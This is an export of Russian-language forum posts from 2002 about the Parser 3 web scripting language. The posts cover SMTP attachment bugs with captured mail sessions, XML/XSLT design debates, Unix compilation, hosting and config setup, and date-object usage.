Поставил sniffer CommView (http://www.tamos.com/index.shtml), и, поскольку он требует подключаться к активному сетевому адаптеру для работы, полез в инет, отправлять письма через smtp провайдера.\
\
Плайнтекстовые мессиджи парсер (win32) отправляет через линуксовский smtp провайдера как по маслу. С аттачами - та же проблема, что и с виндовым smtp. \
\
Вот кусок reconstructed tcp/ip session от сниффера:\
\
[color=\"red\"]220 beta.kombat.ru ESMTP Sendmail 8.11.6/8.12.1; Mon, 3 Jun 2002 17:02:11 +0400[/color]\
HELO home\
[color=\"red\"]250 beta.kombat.ru Hello d144.p6.col.ru [212.248.5.144], pleased to meet you[/color]\
MAIL From: <sanja@bougakov.com>\
[color=\"red\"]250 beta.kombat.ru Hello d144.p6.col.ru [212.248.5.144], pleased to meet you[/color]\
MAIL From: <sanja@bougakov.com>\
[color=\"red\"]250 2.1.0 <sanja@bougakov.com>... Sender ok[/color]\
RCPT To: <sanja@bougakov.com>\
[color=\"red\"]250 2.1.5 <sanja@bougakov.com>... Recipient ok[/color]\
QUIT\
\
Красным я пометил ответы сервера, чёрным - запросы парсера. \
\
А вот я закомментировал блок с attach и у меня всё получилось:\
\
[color=\"red\"]220 beta.kombat.ru ESMTP Sendmail 8.11.6/8.12.1; Mon, 3 Jun 2002 17:12:45 +0400[/color]\
HELO home\
[color=\"red\"]250 beta.kombat.ru Hello d144.p6.col.ru [212.248.5.144], pleased to meet you[/color]\
MAIL From: <sanja@bougakov.com>\
[color=\"red\"]250 2.1.0 <sanja@bougakov.com>... Sender ok[/color]\
RCPT To: <sanja@bougakov.com>\
[color=\"red\"]250 2.1.5 <sanja@bougakov.com>... Recipient ok[/color]\
RSET\
[color=\"red\"]250 2.0.0 Reset state[/color]\
RSET\
[color=\"red\"]250 2.0.0 Reset state[/color]\
MAIL From: <sanja@bougakov.com>\
[color=\"red\"]250 2.1.0 <sanja@bougakov.com>... Sender ok[/color]\
RCPT To: <sanja@bougakov.com>\
[color=\"red\"]250 2.1.5 <sanja@bougakov.com>... Recipient ok[/color]\
DATA\
[color=\"red\"]354 Enter mail, end with \".\" on a line by itself[/color]\
subject:Test\
content-type:multipart/alternative; charset=koi8-r\
from:\"=?koi8-r?Q?=C0=C0=C0\" <sanja@bougakov.com>?=\
to:\"=?koi8-r?Q?=C1=C1=C1\" <sanja@bougakov.com>?=\
\
Тест\
\
.\
[color=\"red\"]250 2.0.0 g53DCoX14968 Message accepted for delivery[/color]\
QUIT\
[color=\"red\"]221 2.0.0 beta.kombat.ru closing connection[/color]\
\
Сдаётся мне, кто-то чего-то недоделал или недотестировал [невинный взгляд в сторону ПАФ'a]....\
\
P.S. Вот мой код:\
\
[code]^mail:send[\
	$.from[\"ААА\" <sanja@bougakov.com>]\
	$.to[\"БББ\" <sanja@bougakov.com>]\
	$.content-type[\
		$.value[multipart/alternative] \
		$.charset[koi8-r]\
	]\
	$.subject[Test]\
	$.body[\
		$.text[\
			$.body[Тест]\
		]\
#		$.attach[\
#			$.value[^file::load[binary;/favicon.ico]]\
#			$.file-name[site.ico]\
#		]\
	]\
] [/code]\
\
Вот кусок из parser3.conf:\
\
$MAIL[\
   $.SMTP[mail.bougakov.com]\
]\
\
чтобы мне не говорили, что я smtp не прописал.\
\
\
"
"2229","Я Питеру Норону, или кто там Symanec возглавляет, что-то тупыми ножницами отрежу!!!! Отключил в Norton AntiVirus 2002 проверку исходящей почты на вирусы - всё заработало!!! Мать его за ногу!!!\
\
Кстати, общественность с AVP 4.0, который тоже, вроде, почту на лету сканирует -  у вас такой баг наблюдается? Just curious.."
"2230","Ладно, опупел я уже от этого всего. Давай проще - ЧТО НАДО В index.html воткнуть чтобы хренов @main из auto.p выполнялся? Только без теории! Чисто конкретно  - файл index.html - должен выглядеть вот так: ...."
"2231","прошу прощения за хоть мягкий, но всё равно наезд в первом постинге. Виноват, больше не буду. Парсер рулез ))))"
"2232","немного смешно.\
\
однако ничто не мешает сделать свои классы с такой \"интеграцией\".\
\
что в .Net люди проделали колоссальную работу по написанию системной библиотеки — бесспорно."
"2233","[code]220 beta.kombat.ru ESMTP Sendmail 8.11.6/8.12.1; Mon, 3 Jun 2002 17:30:09 +0400\
HELO home\
250 beta.kombat.ru Hello d144.p6.col.ru [212.248.5.144], pleased to meet you\
MAIL From: <sanja@bougakov.com>\
250 2.1.0 <sanja@bougakov.com>... Sender ok\
RCPT To: <sanja@bougakov.com>\
250 2.1.5 <sanja@bougakov.com>... Recipient ok\
DATA\
354 Enter mail, end with \".\" on a line by itself\
subject:Test\
content-type:multipart/alternative; charset=koi8-r\
from:\"=?koi8-r?Q?=C0=C0=C0\" <sanja@bougakov.com>?=\
to:\"=?koi8-r?Q?=C1=C1=C1\" <sanja@bougakov.com>?=\
content-type: multipart/mixed; boundary=\"lEvEl0\"\
\
This is a multi-part message in MIME format.\
--lEvEl0\
\
Тест\
--lEvEl0\
content-type: application/octet-stream\
content-disposition: attachment; filename=\"site.ico\"\
content-transfer-encoding: x-uuencode\
\
begin 644 site.ico\
M```!``$`$!`0``$`!``H`0``%@```\"@````0````(`````$`!```````P```\
M````````````````````````8_\\`.8S_`+W>_P#___\\`````````````````\
M````````````````````````````````````````````````````````````\
M```````````````````````````````````````````S`P`P`P`P`P`S`#`#\
M`P`#`S,#,P,P``,````P`S```P`#`#`#`P``,S``,P,`,```````````````\
M````````````````````````````````````````````````````````````\
M````````````````````````__\\``/__``#__P``__\\``/__``#__P``__\\`\
#`/__\
`\
end\
\
--lEvEl0--\
.\
250 2.0.0 g53DU9X32407 Message accepted for delivery\
QUIT[/code]"
"2234","я закрывал ненадолго почту, а то бы сказал, что RSET я не посылаю нигде. и посоветовал поискать добрых...\
"
"2235","Спасибо за документацию. Только одно но -- *.chm отдаются как \"text/plain\" :)\
Это поправимо? :))"
"2236","предлагаю задуматься вот о чем: кто для чего использует XML? я лично использую его как буфер для передачи данных, поскольку во многих языках есть средства, позволяющие работать с XML. На этом фоне мне пофиг как его строить ;)\
\
я обычно делаю так:\
\
[code]\
$tUser[ ^table::sql{ select user_id, login, passwd from user } ]\
<users>\
^tUser.menu{\
    <user login=\"$tUser.login\" passwd=\"$tUser.passwd\">\
        $tUserFiles[ ^table::sql{ select file_id from userfiles where user_id='$tUser.user_id' } ]\
        ^tUserFiles.menu{\
            <file file-id=\"$tUserFiles.file_id\" />\
        }\
    </user>\
}\
</users>\
[/code]"
"2237","В этом файле должны быть определены методы.\
\
Если там просто текст - parser считает, что у этого файла есть свой main и забивает на main из auto.p\
\
Пример файла:\
[code]\
@xxx[]\
XXX\
\
[/code]\
\
Метод вызывать не обязательно ..."
"2238","лично мне весь текст после [code]$tUser[…][/code] не нравится.\
мне он представляется неправильным в корне.\
если и быть ему, то в [b]обобщённом[/b] виде в библиотеке.p\
\
а лучше бы не быть ему совсем, а придумать какой-то способ объяснить parser, что из данного sql запроса требуется некий xml ответ. варианты я приводил. хотел бы склонить обсуждение в эту сторону :)"
"2239","Выходит сколько вложенностей - столько и выборок,\
то что можно сделать одной выборкой мы будем делать \
count(user)+1 выборок. (ну это в твоем примере count(user)==1))\
\
Пардоньте !\
А где универсальность ?\
Это, конечно, выход, но sql сервер прикажет долго жить,\
при нормальных объемах.\
\
А тут нечто более глубокое... [задумчиво]"
"2240","Звучит практически одинаково, только не понятно, чем код от выражения отличается, а потому непонятно, чем отличаются эти синтаксические конструкции:\
\
(выражение) \
 - вычисление параметра происходит при каждом обращении к нему внутри вызова метода \
 \
{код} \
 - вычисление происходит при каждом обращении к параметру внутри вызова \
 \
\
"
"2241","В общем, все что было сказано, на самом деле имело мало отношения к сути проблемы. Проблема была только в том, что в index.html помимо инструкций парсера были еще и хтмл тэги (см. мессаг с содержанеим файлов). Убрал их, сделал index.html как в показано в уроке и все стало хорошо. \
Почему хтмл так влияет на майн до конца еще не просек, но думаю разберусь еще. Всем большое спасибо за помощь!"
"2242","Который : \
параметром 1 - теги, \
параметром 2 - запрос, \
опциональным параметром 3 - чего-то для связки ???"
"2243","... чего есть то и использую. ;-)))\
\
А если честно, то мне FOR XML в mssql не очень нравится. Слишком сложные конструкции получаются. Хотя, конечно, намного идеологичнее моего кода. ;-)\
\
У меня была пара предложений. Если хочешь, могу вспомнить и продать ;-)"
"2245","ну понятное дело что на пред. код запроса нужно писать два. Просто я-то показывал принцип и не хотел усложнять код. ;-)"
"2246","проблема в том, что \"чего-то для связки\" не решает ВСЕХ проблем, хотя, конечно, решает большинство из них.\
\
Но ты ничего нового не предложил. Или у тебя есть идеи насчет того, что писать для связки? ;-)"
"2247","вообще-то с начала чтения документации мало времени для возникновения вопросов прошло :)\
\
впрочем..\
будет ли яснее, если написать так:\
\
(математическое выражение) \
{код на parser}\
\
?"
"2248","2 Serge, а вот как раз вы и не предложили ничего в пред. сообщении,\
а просто разводите никому не нужный флейм ... дальнейшую вашу  дискуссию приму мылом.\
\
Теперь по делу :\
\
А в \"чего-то\" можно писать тег для связки, т.е. тот, по которому все одинаковые данные будут группироваться.\
\
По поводу ничего нового - xnode:sql мог бы возврашать готовый XML node, т.е. уже завернутый в теги, чего сейчас не наблюдается,и приходится все это делать вручную (последнее слово просьба воспринимать [as-is])"
"2249","математическое выражение без eval ???\
т.е. следующие 2 куска кода идентичны:\
^sum{^eval($a+$b)}\
^sum($a+$b)\
\
Если нет, то приведите, пожалуйста, другой пример на (выражение).\
\
Можете меня считать ламером, даже ленивым ламером, могу даже ник поменять. Я хочу разъяснить то, что мне непонтно в документации, которую я уже в 3-ий раз перечитываю.\
\
По моему скромному мнению, у массового продукта должна быть популярная документация. Вот возьмите доку к Java - всё аккуратно и чисто, полно и ортогонально.\
Я прекрасно понимаю, что у свежего продукта сразу не самая лучшая документация. Так давайте вместе делать её более понятной и человеческой..."
"2250","... так как я выделил собственно проблему, а это уже само по себе нимало. А проблема совсем не в том, как назвать новый конструктор и что он должен возвращать, а тот самый язык, который должен использоваться для перевода \"plain\" данных в древовидную структуру.\
\
-----------------\
\
А теперь по существу, т.е. чисто конкретно (Паф, внимание ;-):\
\
данные от SQL запроса можно описать так:\
[code]\
<records query-id=\"...\">\
    <record>\
        <fname1>FVALUE1</fname1>\
        ...\
    </record>\
    ...\
</records>\
[/code]\
\
это XML, но несколько \"плоский\". Нам нужно дерево. Внимание, вопрос: как из XML \"плоского\" получить XML \"древовидный\"? Я себе отвечаю так: \"почему бы не попробовать XSL? его ведь для этого и придумали\".\
\
вот такая простая и вполне коекретная идея. Конечно, есть пара проблем, но все решаемо. ;)"
"2251","Есть:\
Parser 3, запускаемый локально (т.е. я преобразовываю свои файлы offline, т.к. сайт пока не хостится).\
Использую стандартный пример из прилагаемой документации.\
\
Вопрос1:\
Если я ставлю ссылку как в примере (начиная '/tech/links.htm'), то IE обращается к корню диска C:, а если не ставлю слэш, то он задает относительный путь, и когда я выбираю ссылку со страницы из директории 'tech', она не работает (получается удвоение 'tech/tech/link.htm').\
Можно ли с этим справиться?\
\
Вопрос2:\
Из-за того, что Парсер запускается из командной строки, оператор '$request:uri' не отрабатывает, а иметь соответствующие ситуации ссылки хочется. Можно ли сделать так, чтобы Парсер понял, что это ссылка на комплируемый файл, и сделал ее особенной?\
"
"2252","что ламера волнует ?? :))"
"2253","Если сказано - математическое выражение, значит так оно и есть. Без eval-ов.\
\
А что такое ^sum{} или ^sum()? Не помню такого..."
"2254","1. Попробуй пользоваться нормальными относительными ссылками - через \"dot_slash\". Но учти, это не есть правильно.\
\
2. Так пропиши переменные окружения PATH_INFO, PATH_TRANSLATED и DOCUMENT_ROOT"
"2255","есть ли у кого энтузиазм не полениться и поискать?\
заранее: XQL = не оно"
"2256","А потом, если сайт хостится без динамики - натравить на него какой-нить teleport pro..."
"2257","и главное о чем? о том что XSL есть средство для трансформации деревьев? ;-) Где искать примерно-то?"
"2258","я имел в виду для запрашивания из sql сервера это не оно[просто кто-то мог слышать звон и сюда его с-ассоциировать].\
\
а вообще… как посмотреть :)\
кто что слышал об open source реализации, мыло?"
"2259","Ну в общем ты-ж не ламер, просто прибедняешься, на самом деле так оно и есть (как ты написал)\
\
Во 2 парсере можно сказать все было \"кодом\"\
\
Т.е. если мы писали:\
[code]\
@aaa[in]\
^context[bbb;$in]\
\
и звали ^macro[aaa;^item[0]]\
[/code]\
\
то у нас выводился ^item[0] из контекста bbb\
\
Щас, чтобы обеспечить это - есть фигурные скобочки.\
\
Если мы заключим что-либо в квадратные скобки, то это \"вычислится\", и результат передастся в метод.\
\
Ну а про круглые ты сам все знаешь."
"2260","без eval? да, почему нет.\
() позволяют передавать параметром/присваивать переменным математические выражения. eval нужен на тот относительно редкий случай, когда непременно нужно вывести пользователю результат вычисления выражения, который не лежит ни в какой переменной/параметре методу.\
\
мне не вполне ясно, что же так непонятно в этом моменте в документации. быть может пальцем?\
\
\
у меня сложилось впечатление, что пользователь MetaWizard документацию начал читать сегодня, и прочесть 120 страниц трижды вряд ли успел."
"2261","по-моему, тоже.\
\
1. parser не знает[кроме image.html], что такое href. для него это набор букв.\
\
2. в принципе можно. потом возникнет пожелание, чтобы как-то он принял параметры в виде ?aa=bb с командной строки.\
когда все такие пожелания подкопятся и решится проблема output имён файлов в ссылках, пришлите идею мылом."
"2262","обновлён. всё доступно."
"2264","Всем спасибо!\
\
1. Проблему решил так:\
ввел переменную $RootDir[c:/mydir], и теперь все ссылки указываю как \"${RootDir}/tech/link.htm\". При отправке же на сайт я ее просто обнулю.\
\
2. Где именно надо прописать PATH_INFO, PATH_TRANSLATED и DOCUMENT_ROOT? Как это поможет не высвечивать ссылку на текущую страницу?\
В Парсере есть возможность получить имя текущего компилируемого файла, как в С++ ?"
"2265","apache под win32 ставится setup/Enter/Enter.\
налицо боязнь клавиши Enter.\
\
1. сойдёт, но можно $RootDir/tech/link.htm\
2. появится $request:uri, уже писал почему не так по-умолчанию\
3. нет"
"2266","Раз разговор про XML и XSLT пошёл - есть вопрос, который меня сильно волнует, и на который давно хотелось бы получить ответ.\
\
Я понимаю, что меня затопчут и измордуют, но я спрошу (внимание, барабанная дробь...) \"А зачем нужен XML/XSLT?\"\
\
Например, этот сайт. На нём парсерными \"обработчиками\" генерится XML-контент, который затем обрабатывается поверх XSLT \"шаблоном\" (страничным или блочным), затем готовый HTML контент отдаётся посетителю.\
\
Я не понимаю этой схемы. Чес-слово. Ступенька с XML кажется мне лишней. Для чего она? Не дать программеру своими грязными руками влезть в дизайн? Ну... дизайнер XSLT что-ли писать будет?\
\
Я вижу для XML одно, и то очень узкое применение - посредника в импорте/экспорте. Возьмите, например, RSS или как его там - если я хочу организовать экспорт заголовков новостей, я сделаю его в этом формате, и мои новости будет очень легко забрать. Но зачем на XML делать всё, вы мне объясните?!"
"2267","http://parser2.parser.ru/forum/message_2375.html\
\
Кстати, давным-давно я писал статейку на тему установки apache для неисправимых чайников, с картинками. Могу её обновить и прислать, чтобы было во что тыкать народ носом.."
"2268","А шаблон они скачают один раз...\
\
И все... Трафик меньше. Как шошь - так и настраивай отображение :)"
"2269","это все делается для того, чтобы показать боссу какой ты hightechman :-)"
"2271","Хотя это с какой стороны посмотреть.\
Вот, например, в IE 5+ можно вообще подгружать части страницы как XML и обрабатывать XSLT (там ActiveX поднимаем, который к xmlparser тянется). Это может перенести нагрузку по обработке документа на клиентскую сторону.\
\
Вообще юзать XML оправдано там, где необходимо данные сделать универсальными, т.е. как ты их обработаешь, так и будет (во сказал :))\
\
В сайтостроении, ну вот как я делал (PHP+Sablotron) можно определять блоки(XSL) и юзать их уменьшая код. Можно,частично, переносить некоторый код(фильтры) на XSL. Вот, сейчас мне сайт переписать под парсер ничего не стоит : все шаблоны у меня определены, только переписать функцию \"доставания\" данных.\
\
Ладно, еще пример : посмотри как сделан colorer, и какая при этом у него масштабируемость."
"2273","Типа - скачать с cvs:\
тра-та, тра-та.\
Посмотреть install (Кстати посмотрел, ну нет же никакого tara и на фиг такой install?).\
Сделать то и то-то...\
Думаю, что это не только мне надо...\
Может конечно гружу, но я никогда не занимался компиляцией в юниксе (да и вообще нигде), поэтому помощь действительно нужна. Админ мой спит второй день, потому уже не надеюсь что он мне права нужные выставит..."
"2274","судя по инклюдам в win32/apache13, все рассчитано на апач <= 1.3.14, и под 1.3.24 не соберется. В апаче <= 1.3.24 + mod_ssl <= 2.8.4 были найдены дыры, соответственно ими пользоваться опасно для здоровья. Когда можно ждать mod_parser3.so под 1.3.24, или сразу забыть, и пользовать cgi?"
"2275","У меня тот модуль, который есть в download прекрасно работает под Apache 1.3.24 (Win32). под Unix не пробовал."
"2276","tar - это архив такой, а раз его нету, значит все уже развернуто и этот шаг можно пропустить.\
\
Теперь по шагам:\
1. cvs ...blah-blah-blah... (это ты уже сделал)\
2. set D=/path/to (путь до того места, гду лежит parser3project, например, /usr/home/user_name/, это можно и не делать, но если сделаешь - сможешь просто копировать команды и INSTALL)\
3. cd $D/parser3project\
4. ./configure --prefix=/path/to/compiled/parser3 (нужно, чтобы сложить все, что компилируется в нужную папочку. особливо, нсли нет прав писать в /usr/local, например ~/p3. Следует помнить, что парсер при компиляции \"запиманает\" это место и там ищет свои конфиги, драйвера к БД и прочее - придется определеть в главном конфиге пути)\
5. make\
6. make install\
\
Вот и готово.\
\
Тоже самое делаешь с mysql (или какая у тебя БД)\
\
Если нужен XML  - читаешь пункт 3 из INSTALL, качаешь что там сказано, применяешь патчи, собираешь либы, потом собираешь парсер."
"2277","хм. у меня [warn] Loaded DSO modules/ApacheModuleParser3.dll use s plain Apache 1.3 API, this module might crash under EAPI! (please recompile it with -DEAPI). Сейчас еще попробую перекомпилить с EAPI..."
"2278","выскакивает ошибка : [invalid operator lt], и [invalid operator escape_quote]\
\
до того, как поставил третий парсер, все было хорошо ((\
\
да и раньше операционная система была Linux, сейчас - freeBSD"
"2279","Дмитрий, пределы есть.\
\
не предполагается, что собирать что-то их исходников под unix будет чайник."
"2280","эти файлы[как и многие другие] лежат для облегчения сборки под win32. видите .lib файлы, не смущают?\
\
хотите последнее: положите туда последние исходники apache, соберите apache, потом соберите parser."
"2281","Да еще и на то же расширение назначил?\
Тогда все правильно - парсер 3 совсем другой язык - RTFM"
"2282","раньше был парсер v. < 1\
стоял на редхате.\
\
сейчас перенести надо на другой сервер"
"2283","третий так не ругается. так ругается второй.\
мы с вами сейчас в почте общаемся [предлагаю отсюда с этим уйти]."
"2284","Хочу отредактировать содержимое конкретной ячейки существующей таблицы. При попытке просто присвоить нужное значение текущей ячейке - ошибка...  :(\
\
$tabl[^table::load[/tabl.txt]]\
$tabl.column[$var_string]  - error\
\
Подскажите! Заранее спасибо!"
"2286","Создавай новую таблицу, переписывай что надо, что не надо - меняй."
"2288","Есть ли бесплатники, на которых уже работает или может быть запущен Парсер?\
Я бы Апач поставил (у меня дома Warp 4.5 стоит, уж наверное c Win32 Апачем я справлюсь ;), но до платника я пока не созрел;\
поэтому и использую Парсер локально. К сожалению, пользовательские CGI-скрипты разрешаются обычно для высоких тарифных планов. Или где-нибудь можно пустить Парсер и при этом платить около $2 в месяц?"
"2289","с MySQL стоит ровно эти два бакса в месяц... Его тут хвалили вроде. Я за свой хостинг от kombat.ru плачу 6 в месяц.."
"2298","Если совсем парсером, то посылку - за пару минут, а вот прием/чтение/сбор аттачментов... Скажем так, значительно сложнее. Для этого надо просто иметь доступ парсером к файлу, в котором лежит ящик, а потом его долго и нудно \"распарсивать\" и разварачивать всякие там письма_в_MIME_формате. Тебе оно надо? В принципе, конечно, ничего сверхсложного, но проблем будет так много, что проще найти готовое решение.\
\
А вот если просто оформление готового движка на C/Perl - так это очень просто ;-)"
"2299","но есть пример на p3 в документации (примеры)"
"2300","Что у меня получается: закачал по фтп файлы, все настроил, запускаю в браузере - получаю эту ошибку. Смотрю командой ls -l принадлежность файлов пользователю/группе и вижу, что и файлы и группы принадлежат мне (показано мое имя пользователя и моя группа). То есть это ошибка выдается не только, когда \"Cкомпилированые версии могут читать и исполнять только файлы, принадлежащие группе пользователей, от которой работает парсер. Это сделано для большей безопасности.\" а и в других случаях? Тогда каких? Версия Линукса - Redhat 7.2. Я кстати, ставил и Redhat 6.2 - результат такой же. Я пытался скомпилировать парсер, но имеет ли смысл это делать? Может быть кто-то подскажет, почему эта ошибка еще может выдаваться?"
"2301","В общем все файлы принадлежат одному пользователю/группе (по крайней мере если верить команде ls -l). При запуске из shell -  parser3.cgi index.html - все работает, следовательно проблема когда возникает процесс чтения файла (index.html)пытается запустить другой пользователь... Например пришедший с интернета..."
"2302","Ну, никак блин:\
1. Не получается ни mkdir $D ни set D. Система не ругается, но ничего не происходит.\
2. Сделал по второму варианту ./configure --prefix=/your/home/parser3install В результате в config.log вижу довольно много ошибок (разные, если надо могу прислать).\
3. Тем не менее, запускаем make. В случае если я все это делаю из под sh, то не находит main.sh.lt (не помню точно, но тоже могу посмотреть в логах). Если еще раз запустить make, то начинает идти, но застревает на этом: .config.status: fork: Resourse temporary unavailable. gmake[1][Makefile]Error128. Если запустить еще раз то останавливается здесь gmake[2]***[ltld.0]Error 1\
4. Все это делалось и из под баша и из под сх. В первом случае, все просто быстрее кончалось. Во втором дольше, но результат такой же. \
5. Судя по config.log - проблема возникает уже на стадии configure.\
6. И что я, простой пользователь могу с этим сделать? Забыть о парсере, судя по всему?\
"
"2304","Кто нибудь пробывал работать с parser на ValueHOST.ru"
"2305","Что нужно сделать чтобы ошибочные страницы не выводились"
"2306","Вот - http://parser.hoha.ru/ Это скорее шутка, но в общем, не лишённая функциональности. :) "
"2307","Начал я делать 5 пример, создал таблицу SQL, прописал все тексты кода и вот что получаю в результате:\
\
class is undefined\
gbook\
/htdocs/parser3/gbook/index.html(7)\
\
В чем может быть причина?\
Заранее спасибо."
"2308","можно ведь выводить своё собственное сообщение, или делать переадресацию на заведомо безошибочный документ.\
\
А если ты это про ошибки типа 404, 403, 500 и иже с ними, то можно назначить их обработчиком какой-нибудь свой скрипт и соответственно делать потом всё, что душе угодно. Для этих целей в случае Апача используется .htaccess, а у IIS есть специальная вкладка в настройках."
"2310","дмитрий,\
похоже, вы полагаете, что ваш администратор зря получает свои деньги. не стоит так думать.\
\
позвольте же заняться ему своим делом."
"2311","и есть нужные наработки. добавим.\
\
также в плане возможность использования скриптов на parser в качестве обработчиков пришедших писем."
"2312","\"от которой работает\" и \"которой принадлежит\" — разные вещи.\
\
посетитель сайта = работает от того имени пользователя системы, от которого настроил ваш системный администратор.\
\
как я писал в faq, попросите [b]его[/b] прочесть ответ на этот fa вопрос."
"2314","Я понимаю, что вам есть, чем заняться, но не будете ли вы так любезны скомпилировать версии для таких косоруких как я с отключенной опцией защиты?"
"2315","для FreeBSD такие линки:\
\
http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi.tar.gz — CGI без XML \
http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi_xml.tar.gz — CGI с XML"
"2316","Но, возможно, другие люди тоже испытывают затруднения по этому вопросу с другими операционками..."
"2317","К вопросу о качестве синтаксиса:\
\
^bad.sample {\
  <script language=^\"JavaScript^\">\
    while ^(1^) ^{ alert^(^\"А вам не в лом столько ^^ ставить?^\"^)^; ^}\
  </script>\
}"
"2319","если столько желания есть, можно и так писать :)\
однако совсем необязательно:\
[code]\
^better.sample{\
  <script language=\"JavaScript\">\
    while(0) { \
        alert(\"А вам не в лом столько ^^ ставить?\")\
    }\
  </script>\
}\
[/code]"
"2320","принять / отправить XML по HTTP? Тогда многие проблемы решатся путем возможности взаимодействия с web-сервисами всякими ;-)"
"2322","мне было пока неинтересно, не разбирался.\
в libxml есть <include с другой планеты.\
и, по-моему, <output на другую планету.\
в бинарных версиях это выключено, но кто хочет, может собрать libxml с включенным HTTP. ещё он умеет ftp. не смотрел, какие умеет proxy.\
\
когда буду делать, сделаю просто ещё один конструктор и ещё один способ записать. и не только для xml.\
кому нужно срочно, исходники для того и раздаются.."
"2323","который бы проверял парность скобок и подсвечивал их, а так же по возможности подсвечивал основные теги и нормально работал с кодировками.\
Во р2 проблем со скобками у меня не возникало, а в р3 путаюсь."
"2327","А то что-то я врубится немогу..Туплю, туплю.."
"2328","ачепяталси, бывает"
"2332","Far я недолюбливал изначально, и поэтому возвращаться к нему не хочу."
"2333","Конструкция простая:\
$f[^file::stat[file.txt]]\
$f.cdate\
- в ответ: содержит неправильное задание даты...\
подскажите, пожалуйста!"
"2334","А вообще Far+colorer = гут,\
и парсеровые конструкции подсветит, и скобки, и т.д.\
а еще Ctrl+tab - и ты имеешь многооконный редактор, \
да мало ли чего можно с плугинами делать,\
\
хотя, на вкус и цвет"
"2335","При проблемах с установкой, пиши мне, помогу."
"2336","интересуют символы A-Za-z0-9\
заранее спасиб.\
\
"
"2337","возникает дилемма: отдать большую часть вычислений mysql или parser.\
подскажите, какой вариант будет более производительным.\
(если в каждом частном случае произовдительность будет разной, - могу описать текущую задачу)"
"2338","а как именно вывести, parser, очевидно, должен прочесть между строк.\
вот \"как-то\":\
[code]^f.cdate.sql-string[][/code]"
"2339","\"Объект, созданный этим конструктором, имеет дополнительные поля (объекты класса date)\"\
\
[code]\
$f[^file::stat[record.html]]\
$f.cdate.year\
[/code]\
\
2PAF: в доке как-то серенько об этом сказано, вот народ и наступает. ;-)"
"2340","это мое скромное мнение. ;-)"
"2343","Читоб не смотреть в книгу и видеть фигу надо поправить доку:\
\
Пример использования: \
$f[^file::stat[old.zip]] \
$f.size \
$f.cdate \
$f.mdate \
$f.adate \
\
т.е. этот пример не использования - а пример ошибок....\
\
2Serge - спасибо!"
"2344","1. Есть лишние пробелы в коде. Удалить все между class и gbook. Нажать enter:\
должно выглядеть так:\
\
@class\
gbook \
\
2. Просто не находит путь к gbook.p\
"
"2345","спасибо!"
"2346","$f.cdate - это объект типа \"дата\"\
\
Ты хочешь вывести это в виде текста.\
Преобразовывай и выводи.\
Но ты же можешь захотеть сравниавть ее с другой датой - для этого проебразовывать не нужно.\
\
Так что в доке все верно, IMHO"
"2348","парсер подключился,\
 \
но не вполне -- не работают кодировки,\
проблемы  с каталогами,\
в частности, не отрабатывает SetEnv\
 \
пример: \
http://www.npomis.com/t.html\
 \
сайт на\
http://www.npomis.com/mis/\
то, что красным по серебряному -- мои установки,\
для проверки, т.о. auto.p отрабатывает!\
 \
параметры\
\
/htdocs/.htaccess  :\
===\
SetEnv HTTP_PARSER_ROOT_CONFIG /cgi-bin/parser3.conf\
SetEnv HTTP_PARSER_SITE_CONFIG /htdocs/parser3.conf\
 \
CharsetDisable On \
 \
AddHandler server-parsed .shtml .shtm\
 \
AddHandler parsed-html .html \
Action parsed-html /cgi-bin/parser3.cgi\
 \
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files> \
===\
 \
Других .htaccess нет\
 \
/cgi-bin/parser3.conf :\
===\
@auto[]\
 \
$configdir[/cgi-bin]\
$charsetsdir[$configdir/parser3.charsets]\
$sqldriversdir[$configdir/lib]\
 \
^if(def $env:HTTP_PARSER_ROOT_CONFIG){\
$configdir[$env:HTTP_PARSER_ROOT_CONFIG/..]\
$charsetsdir[$configdir/parser3.charsets]\
$sqldriversdir[$configdir/lib]\
}\
#{\
# $charsetsdir[/usr/local/etc/parser3.charsets]\
# $sqldriversdir[/usr/local/lib]\
#}\
 \
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
 \
@unhandled_exception[exception;stack]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
#пропустил общие места... (МК)\
 \
<title>UNHANDLED EXCEPTION (root)</title>\
<body bgcolor=silver>\
<font color=red>\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
 <hr>\
 ^stack.menu{\
  <tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
 }\
}\
===\
 \
/htdocs/parser3.conf :\
===\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
 \
#$SQL.connect-string[mysql://user:pass@host/db]\
#$SQL.connect-string[odbc://DSN=datasource^;UID=user^;PWD=password]\
===\
 \
при этом \
===\
<html>\
<body>\
 \
hello - привет<br>\
 \
2*2=^eval(2*2) <br>\
 \
HTTP_PARSER_ROOT_CONFIG: $env:HTTP_PARSER_ROOT_CONFIG <br>\
HTTP_PARSER_SITE_CONFIG: $env:HTTP_PARSER_SITE_CONFIG <br>\
request:charset: $request:charset <br>\
response:charset: $response:charset <br>\
 \
</body>\
</html>\
===\
 \
говорит\
===\
hello - привет\
2*2=4 \
HTTP_PARSER_ROOT_CONFIG: \
HTTP_PARSER_SITE_CONFIG: \
request:charset: UTF-8 \
response:charset: UTF-8 \
===\
 \
Кто поставил 3ий на ВХ?! \
Что здесь надо менять с каталогами?\
\
Важно: у парсера-3 ДВА одноименных, но разных parser3/conf,\
куда для ВХ надо класть главный конфиг, а куда конфиг сервера?\
Какие пути нужны?\
(Очевидно, что не работает setenv, и не читаются файлы кодировок).\
"
"2349","так тому и быть."
"2350","удалил ВСЕ ссылки на кодировки из auto.p \
заработало \
\
теперь падает xml-часть. \
ибо там НУЖНО указывать кодировки. \
\
в общем, все равно не то. \
\
"
"2351","Парность скобок не проверяет, но в остальном очень удобен."
"2352","Чем проще задача, тем больше рук за парсер, и наоборот."
